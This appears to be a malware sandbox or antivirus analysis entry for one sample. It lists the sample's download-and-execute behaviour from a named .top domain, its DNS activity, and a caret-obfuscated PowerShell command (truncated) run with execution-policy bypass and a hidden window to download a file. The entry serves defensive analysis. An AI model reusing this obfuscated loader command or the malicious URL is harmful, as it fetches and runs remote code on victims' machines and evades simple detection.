Technical Information
Malicious functions
Downloads and executes
- http://www.zoerpoled.top/read.php?f=1.gif as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c "POw^ers^HelL^.^Exe ^-^ex^e^cU^TI^O^N^p^OlIC^Y^ BYPAss^ -^NOPr^o^FiLe^ -w^I^nDOwsTyl^E^ Hid^DE^n^ (NE^W^-oB^jeC^T^ S^y^S^tEM^.net.^w^eBC^L^IenT)^.^DO^wN^loADFIL^E^(^'http://ww...
Network activity
UDP
- DNS ASK zo###oled.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c "POw^ers^HelL^.^Exe ^-^ex^e^cU^TI^O^N^p^OlIC^Y^ BYPAss^ -^NOPr^o^FiLe^ -w^I^nDOwsTyl^E^ Hid^DE^n^ (NE^W^-oB^jeC^T^ S^y^S^tEM^.net.^w^eBC^L^IenT)^.^DO^wN^loADFIL^E^(^'http://ww...' (with hidden window)
